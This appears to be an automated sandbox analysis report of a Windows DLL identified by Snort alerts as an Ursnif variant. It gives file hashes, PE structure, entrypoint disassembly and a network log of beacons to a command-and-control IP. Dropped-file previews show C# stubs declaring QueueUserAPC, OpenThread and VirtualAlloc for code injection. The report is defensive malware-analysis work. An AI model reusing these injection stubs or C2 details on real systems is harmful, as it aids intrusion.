                        SHA-512:59A1D85FEB48925C88AC4AF9CD442FE99E4B5D9B9A24E6782D7ECE34C534F4D94E4ED4F76433A808550933232CEFCFE08134CEDBA6819DDFB5012C6F45F0E61D
                        Malicious:false
                        Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.n.1.3.3.k.5.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...z.n.1.3.3.k.5.0...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                        C:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        File Type:MSVC .res
                        Category:dropped
                        Size (bytes):652
                        Entropy (8bit):3.0886415917501604
                        Encrypted:false
                        SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grysCak7YnqqdDPN5Dlq5J:+RI+ycuZhN/akSBPNnqX
                        MD5:AC9F318528C2E9980E0B55A1D3C46D05
                        SHA1:625826A7F50E78F6F5C8816617D54AC291BA9BCB
                        SHA-256:0B4A74B985C030E7F1209E392C387C5BA3159177DFA6F75E94834871ABDD1345
                        SHA-512:89B4D40E8CD270571BFEB0791208328528983A4DA335259EB4898B3A185D1FCA8EF5D5844E3FE4B97685817C87A6F4E9782C972A529A7E30BA1AD105C2950848
                        Malicious:false
                        Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.t.h.a.l.t.v.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...n.t.h.a.l.t.v.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                        C:\Users\user\AppData\Local\Temp\RES3047.tmp

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols
                        Category:dropped
                        Size (bytes):1320
                        Entropy (8bit):3.9726189415617856
                        Encrypted:false
                        SSDEEP:24:HPjnW9rVwnpZhHkYhKdNWI+ycuZhN/akSBPNnq9hgd:DWOnpLdKd41ul/a3zq9y
                        MD5:B57E06AF09269FE68011CA9C7263B9C1
                        SHA1:22145379CCA3CE319C692CA90651DAB2B853A773
                        SHA-256:2E51AD976DB23F78659A5886FE4F6D1CC8AEBF49C0947EDE2766F06AD8D84793
                        SHA-512:D9677EF1E6433C51795690D2CC93380D1030464A1C46C1468F510594978659D97ECA79C5F9D38C95147F71EB31D8147C4DEF8CC783465BBFD2F6E11750D78B80
                        Malicious:false
                        Preview:L...L.rb.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........K....c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP..................1.(....U...m...........4.......C:\Users\user\AppData\Local\Temp\RES3047.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.t.h.a.l.t.v.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

                        C:\Users\user\AppData\Local\Temp\RES4508.tmp

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols
                        Category:dropped
                        Size (bytes):1320
                        Entropy (8bit):3.9737871135359653
                        Encrypted:false
                        SSDEEP:24:HeijnW9rnzfCXhH+hKdNWI+ycuZhNACakSbDPNnq9hgd:+qWnzfm0Kd41ulZa3Vq9y
                        MD5:4A1D627423CCEA7DAE9A6D6F5E440B1E
                        SHA1:AA8EAAAB1D76DBD9DF4BB89A99D498A4326BCD1F
                        SHA-256:D853265DC40AA9B37D5E3C5B703BFEE954FA42A1FCB7BC90BAA0B4F249C4A8D3
                        SHA-512:5443B147919DCB4D57A4A5C9D1857C5077A1278523DDECC1163515B7B34D7187B1C9BACD94A88BEA8DBFD90AD2A78FB4706EC3A7196939FD598A168AAA5BCA4D
                        Malicious:false
                        Preview:L...R.rb.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP................W.<.:...b...'O5!..........4.......C:\Users\user\AppData\Local\Temp\RES4508.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.n.1.3.3.k.5.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ae2dmfll.luf.psm1

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:very short file (no magic)
                        Category:dropped
                        Size (bytes):1
                        Entropy (8bit):0.0
                        Encrypted:false
                        SSDEEP:3:U:U
                        MD5:C4CA4238A0B923820DCC509A6F75849B
                        SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                        SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                        SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                        Malicious:false
                        Preview:1

                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r45uapby.kca.ps1

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:very short file (no magic)
                        Category:dropped
                        Size (bytes):1
                        Entropy (8bit):0.0
                        Encrypted:false
                        SSDEEP:3:U:U
                        MD5:C4CA4238A0B923820DCC509A6F75849B
                        SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                        SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                        SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                        Malicious:false
                        Preview:1

                        C:\Users\user\AppData\Local\Temp\nthaltvx.0.cs

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text
                        Category:dropped
                        Size (bytes):403
                        Entropy (8bit):5.058106976759534
                        Encrypted:false
                        SSDEEP:6:V/DsYLDS81zuJiWmMRSR7a1nQTsyBSRa+rVSSRnA/fpM+y:V/DTLDfuQWMBDw9rV5nA/3y
                        MD5:99BD08BC1F0AEA085539BBC7D61FA79D
                        SHA1:F2CA39B111C367D147609FCD6C811837BE2CE9F3
                        SHA-256:8DFF0B4F90286A240BECA27EDFC97DCB785B73B8762D3EAE7C540838BC23A3E9
                        SHA-512:E27A0BF1E73207800F410BA9399F1807FBA940F82260831E43C8F0A8B8BFA668616D63B53755526236433396AF4EF21E1EB0DFA9E92A0F34DB8A14C292660396
                        Malicious:false
                        Preview:.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class bju. {. [DllImport("kernel32")].public static extern uint QueueUserAPC(IntPtr wqyemwbu,IntPtr vlbfvx,IntPtr hokikv);.[DllImport("kernel32")].public static extern IntPtr GetCurrentThreadId();.[DllImport("kernel32")].public static extern IntPtr OpenThread(uint uqvnjbf,uint pmyb,IntPtr rheqdsvorya);.. }..}.

                        C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                        Category:dropped
                        Size (bytes):351
                        Entropy (8bit):5.241360600918718
                        Encrypted:false
                        SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23ffzxs7+AEszIWXp+N23fa:p37Lvkmb6KH3WZE8y
                        MD5:690F4C449EF12B6B61A60DF8A9E5B710
                        SHA1:4FC81A633BB70A3E65A1891E3E343C0127F52296
                        SHA-256:2D03F9F60B3CBDB6D821443A41D0EA831CE305D0CE301B1F7A335235C89955EA
                        SHA-512:B5235920836D35661622E2764BE0FC3B46CC01DEB3BB2CB766643887DB43E37A155CA20E0D4496896F328D0AFBAA5CA5C7FE3494B27CE4E4435106721B2FA039
                        Malicious:false
                        Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nthaltvx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nthaltvx.0.cs"

                        C:\Users\user\AppData\Local\Temp\nthaltvx.dll

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                        Category:dropped
                        Size (bytes):3584
                        Entropy (8bit):2.6066887621099695
                        Encrypted:false
                        SSDEEP:24:etGSd8OmU0t3lm85xWAseO4zVWQ64pfUPtkZf9GwVUWI+ycuZhN/akSBPNnq:6DXQ3r5xNOvQfUuJ9P31ul/a3zq
                        MD5:58B1418820FA96CF68C24D094FC6ADAF
                        SHA1:2B17556E62E5F0E6DB05525694B7E24A71396BCE
                        SHA-256:8EA1346CC7438005ECE13A2CEA06992D029764CC12D73545A7BB708210BB80A5
                        SHA-512:30435A178069A2E6C34752E055C6321D321370215B13ABC305682227486FDC69370EF0A8DB0FFD461F08ACDD331AA9DADA641C2893296D8CC81664F89F0542C1
                        Malicious:false
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L.rb...........!.................$... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..\.............................................................(....*BSJB............v4.0.30319......l...H...#~......<...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................/.(...................................................... 6............ C............ V.....P ......a.........g.....p.....w.....~...............a. ...a...!.a.%...a.......*.....3.0.....6.......C.......V...........

                        C:\Users\user\AppData\Local\Temp\nthaltvx.out

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                        Category:modified
                        Size (bytes):848
                        Entropy (8bit):5.316714828382624
                        Encrypted:false
                        SSDEEP:12:xKIR37Lvkmb6KH3WZE8rKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:AId3ka6KHkE8rKaM5DqBVKVrdFAMBJTH
                        MD5:BC11DBA7DC38B1D6A0D93EA764F9B617
                        SHA1:08D99E734D46178C394E555EE9AD7F18848BB855
                        SHA-256:4A56BDE13C5C950901BF0781BAABEC10AE01AEC639CCDB3F6ADBDC6D94F958FC
                        SHA-512:D8587E8DFD418B11F8E53CD33FF14C226E29F02E4D410335E0AF717B3631A9071DF48F7998C59CD3D99AE1FC835DA5B413CFDFF37C5FD0BA9F18171997007654
                        Malicious:false
                        Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nthaltvx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nthaltvx.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                        C:\Users\user\AppData\Local\Temp\zn133k50.0.cs

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text
                        Category:dropped
                        Size (bytes):392
                        Entropy (8bit):4.988829579018284
                        Encrypted:false
                        SSDEEP:6:V/DsYLDS81zuJ6VMRSRa+eNMjSSRr92B7SSRNAtwy:V/DTLDfuk9eg5r9yeqy
                        MD5:80545CB568082AB66554E902D9291782
                        SHA1:D013E59DC494D017F0E790D63CEB397583DCB36B
                        SHA-256:E15CA20CFE5DE71D6F625F76D311E84240665DD77175203A6E2D180B43926E6C
                        SHA-512:C5713126B0CB060EDF4501FE37A876DAFEDF064D9A9DCCD0BD435143DAB7D209EFBC112444334627FF5706386FB2149055030FCA01BA9785C33AC68E268B918D
                        Malicious:false
                        Preview:.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class buvbcy. {. [DllImport("kernel32")].public static extern IntPtr GetCurrentProcess();.[DllImport("kernel32")].public static extern void SleepEx(uint jujqjjcr,uint fvu);.[DllImport("kernel32")].public static extern IntPtr VirtualAlloc(IntPtr fnpqam,uint ecktq,uint arixnpjcmw,uint mbhifa);.. }..}.

                        C:\Users\user\AppData\Local\Temp\zn133k50.cmdline

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                        Category:dropped
                        Size (bytes):351
                        Entropy (8bit):5.278961448116027
                        Encrypted:false
                        SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fhmJUzxs7+AEszIWXp+N23fh8:p37Lvkmb6KHQJUWZE8q
                        MD5:BBFF8ACF9BC4E9151FAC72A25DB4AF65
                        SHA1:28E85B73B747567810B8AC20E17AFC9FDEEB9E84
                        SHA-256:64398A6210E6B4286F665B7241E912A8B52A069282290C01BD38D81A9E0A78F9
                        SHA-512:F99941DA18AD6C6EF836767AA9212C05D540CE7F6B5AE6796CAC8269612CD08E95E33B42E0FECDA5FB6E1C2C930DCA623358103DDC4A6E51FC09F8BB7621425D
                        Malicious:false
                        Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zn133k50.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zn133k50.0.cs"

                        C:\Users\user\AppData\Local\Temp\zn133k50.dll

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                        Category:dropped
                        Size (bytes):3584
                        Entropy (8bit):2.6018525555800074
                        Encrypted:false
                        SSDEEP:24:etGSO/u2Bg85z7xlfwZD6QagdWqtkZf9yWI+ycuZhNACakSbDPNnq:6bYb5hFCD6eWdJ9x1ulZa3Vq
                        MD5:257B979BFCA7FC27E6D4D61332E3CB81
                        SHA1:F9DA7F5A4654015EB64351E4F7C9240120242B8E
                        SHA-256:0AF117A0EEA259F2662E5F3F7FD5AAF38C894B7291EBA0B44CCE19B6957CA0A1
                        SHA-512:980305AB481A307E8F7BF1B0BC02805AD177E77DD6CA973CDC9BF30A5014469B9C4857A48C8735E0A395AEBA2CAB225F68CEB43A873685300CD8877F88C40E87
                        Malicious:false
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Q.rb...........!.................#... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..T.............................................................(....*BSJB............v4.0.30319......l...H...#~......4...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................2.+...................................................... 9............ K............ S.....P ......`.........f.....o.....s.....z...............`. ...`...!.`.%...`.......*.....3.+.....9.......K.......S...........

                        C:\Users\user\AppData\Local\Temp\zn133k50.out

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                        Category:modified
                        Size (bytes):848
                        Entropy (8bit):5.337242198936176
                        Encrypted:false
                        SSDEEP:24:AId3ka6KHQ/E8jKaM5DqBVKVrdFAMBJTH:Akka6AsE8jKxDcVKdBJj
                        MD5:6934C0F5A74CF275FB8E42ED7A182BDA
                        SHA1:60BE0CD7541947626619FB6B9F412A41BB412597
                        SHA-256:AAAEA2133DE4806579F16BD80CDDAF898C879A7EA27C37DEC8A047C89FD7B9C4
                        SHA-512:2B85C364ABD535666247B5E0F3F38AB22114BDE385276AADF46C2A191F593A5C4B33CD168CD33285FCAE59DFEB8485EFA664CC45A377781204D9FBA2039393F6
                        Malicious:false
                        Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zn133k50.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zn133k50.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                        Static File Info

                        General

                        File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Entropy (8bit):7.238617145221457
                        TrID:
                        • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                        • Generic Win/DOS Executable (2004/3) 0.20%
                        • DOS Executable Generic (2002/1) 0.20%
                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                        File name:rXN8OIpbzz.dll
                        File size:442368
                        MD5:6e21e2268df053e95557a2157ff33103
                        SHA1:efeefb5833b881475bd421da29719d578babb90c
                        SHA256:22a462b2da9c893b5f37dbbc19697d6aeaa28758c2338fca3a806e8d9d3ac483
                        SHA512:06c082964ae3fea79ec03a76be8bca6e9a15da51949edde2a3eda43120a4f209dd490e8bb3dabde28fcc6e2d60e437e0e0632032a457501934034c0172ba3124
                        SSDEEP:6144:rtpWD9yexlJJtyhOhevp/D23qAGzjLg8O9YTEqT2uGRp1WgHyo3NldzlQgOsnGWU:rtpOFlJqYhiVDwGU8OqaX1WW3zNg7
                        TLSH:4D94F14977A11DBBEC0807760CF8C51B9B66BE2CA23A71DEA6683CFF7E175511048706
                        File Content Preview:MZ......................@.......................................<dR.x.<.x.<.x.<.c.....<.uW....<.x.=...<..|....<.{}....<..X?...<.....-.<.{}.._.<..\<...<.Richx.<.PE..L......A...........!.........P......0.............@.................................5......

                        File Icon

                        Icon Hash:9068eccc64f6e2ad

                        Static PE Info

                        General

                        Entrypoint:0x401430
                        Entrypoint Section:.text
                        Digitally signed:false
                        Imagebase:0x400000
                        Subsystem:windows gui
                        Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                        DLL Characteristics:TERMINAL_SERVER_AWARE
                        Time Stamp:0x411096D1 [Wed Aug 4 07:57:05 2004 UTC]
                        TLS Callbacks:
                        CLR (.Net) Version:
                        OS Version Major:5
                        OS Version Minor:0
                        File Version Major:5
                        File Version Minor:0
                        Subsystem Version Major:5
                        Subsystem Version Minor:0
                        Import Hash:0bedc9af0ed7cf2ba33cf662a24d448e

                        Entrypoint Preview

                        Instruction
                        push ebp
                        mov ebp, esp
                        add ecx, FFFFFFFFh
                        call 00007F5980986A6Ch
                        pop eax
                        pop eax
                        mov dword ptr [00414544h], eax
                        mov edx, dword ptr [00414660h]
                        sub edx, 00005289h
                        call edx
                        ret
                        int3
                        push esi
                        mov eax, ebx
                        mov dword ptr [00414540h], eax
                        pop dword ptr [00414538h]
                        mov dword ptr [00414548h], ebp
                        mov dword ptr [0041453Ch], edi
                        sub dword ptr [00414548h], FFFFFFFCh
                        loop 00007F5980986A15h
                        mov dword ptr [ebp+00h], eax
                        nop
                        leave
                        push eax
                        cli
                        test byte ptr [edx+esi*4], bh
                        push edx
                        push FFFFFFBAh
                        lea edi, edx
                        xchg eax, esp
                        jbe 00007F59809869FFh
                        cmp al, B4h
                        pop es

                        Data Directories

                        NameVirtual AddressVirtual Size Is in Section
                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IMPORT0xdc180x8c.rdata
                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x620000x9f28.rsrc
                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x6c0000xf0c.reloc
                        IMAGE_DIRECTORY_ENTRY_DEBUG0xd0b00x38.rdata
                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IAT0xd0000xb0.rdata
                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x10000x1.text
                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                        Sections

                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                        .text0x10000xb7100xc000False0.0735473632812data1.02109217973IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                        .rdata0xd0000x10730x2000False0.1806640625data3.72008028236IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .data0xf0000x79d00x6000False0.373819986979data6.02544165768IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                        .crt0x170000x1dc8e0x1e000False0.988427734375data7.9815287954IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                        .erloc0x350000x2ca4f0x2d000False0.988259548611data7.98122243943IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                        .rsrc0x620000x9f280xa000False0.602783203125data6.51663069246IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .reloc0x6c0000x132e0x2000False0.219360351562data3.73577949218IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                        Resources

                        NameRVASizeTypeLanguageCountry
                        RT_BITMAP0x623600x666dataEnglishUnited States
                        RT_ICON0x629c80x485dPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States
                        RT_ICON0x672280x25a8dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 331218944, next used block 4106092544EnglishUnited States
                        RT_ICON0x697d00xea8dataEnglishUnited States
                        RT_ICON0x6a6780x8a8dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0EnglishUnited States
                        RT_ICON0x6af200x568GLS_BINARY_LSB_FIRSTEnglishUnited States
                        RT_DIALOG0x6b4880xb4dataEnglishUnited States
                        RT_DIALOG0x6b5400x120dataEnglishUnited States
                        RT_DIALOG0x6b6600x158dataEnglishUnited States
                        RT_DIALOG0x6b7b80x202dataEnglishUnited States
                        RT_DIALOG0x6b9c00xf8dataEnglishUnited States
                        RT_DIALOG0x6bab80xa0dataEnglishUnited States
                        RT_DIALOG0x6bb580xeedataEnglishUnited States
                        RT_GROUP_ICON0x6bc480x4cdataEnglishUnited States
                        RT_VERSION0x6bc980x290MS Windows COFF PA-RISC object fileEnglishUnited States

                        Imports

                        DLLImport
                        KERNEL32.dllEraseTape, GetDiskFreeSpaceExA, lstrlenA, LocalHandle, GetModuleFileNameA, GetBinaryTypeA, GetThreadLocale, GetFileTime, GlobalFlags, GetStringTypeA, EnumResourceTypesA, GetConsoleCP, GetCommTimeouts, WriteProcessMemory, GlobalMemoryStatus, DebugBreak
                        OLEAUT32.dllGetRecordInfoFromTypeInfo, LoadTypeLibEx
                        USER32.dllDefMDIChildProcW, GetMenuItemRect, MessageBoxIndirectW, DeleteMenu, GetClassNameA, GetMessagePos, GetUpdateRgn, GetClientRect, GetScrollBarInfo
                        GDI32.dllExtSelectClipRgn, GetBkColor, GetCharWidthFloatA, GetTextMetricsW, GdiComment
                        ADVAPI32.dllEnumServicesStatusExW, InitiateSystemShutdownExW, RegGetValueA
                        msvcrt.dllstrcoll, fgetwc, srand

                        Version Infos

                        DescriptionData
                        LegalCopyright A Company. All rights reserved.
                        InternalName
                        FileVersion1.0.0.0
                        CompanyNameA Company
                        ProductName
                        ProductVersion1.0.0.0
                        FileDescription
                        OriginalFilenamemyfile.exe
                        Translation0x0409 0x04b0

                        Possible Origin

                        Language of compilation systemCountry where language is spokenMap
                        EnglishUnited States

                        Network Behavior

                        Snort IDS Alerts

                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                        05/04/22-12:42:53.250349 05/04/22-12:42:53.250349TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4982080192.168.2.3185.189.151.28
                        05/04/22-12:42:52.800201 05/04/22-12:42:52.800201TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4982080192.168.2.3185.189.151.28
                        05/04/22-12:42:53.707282 05/04/22-12:42:53.707282TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4982080192.168.2.3185.189.151.28
                        05/04/22-12:42:32.722808 05/04/22-12:42:32.722808TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4977080192.168.2.313.107.43.16

                        Network Port Distribution

                        TCP Packets

                        TimestampSource PortDest PortSource IPDest IP
                        May 4, 2022 12:42:52.778404951 CEST4982080192.168.2.3185.189.151.28
                        May 4, 2022 12:42:52.795990944 CEST8049820185.189.151.28192.168.2.3
                        May 4, 2022 12:42:52.796118021 CEST4982080192.168.2.3185.189.151.28
                        May 4, 2022 12:42:52.800200939 CEST4982080192.168.2.3185.189.151.28
                        May 4, 2022 12:42:52.817224026 CEST8049820185.189.151.28192.168.2.3
                        May 4, 2022 12:42:53.086601019 CEST8049820185.189.151.28192.168.2.3
                        May 4, 2022 12:42:53.086652040 CEST8049820185.189.151.28192.168.2.3
                        May 4, 2022 12:42:53.086745024 CEST4982080192.168.2.3185.189.151.28
                        May 4, 2022 12:42:53.086765051 CEST8049820185.189.151.28192.168.2.3
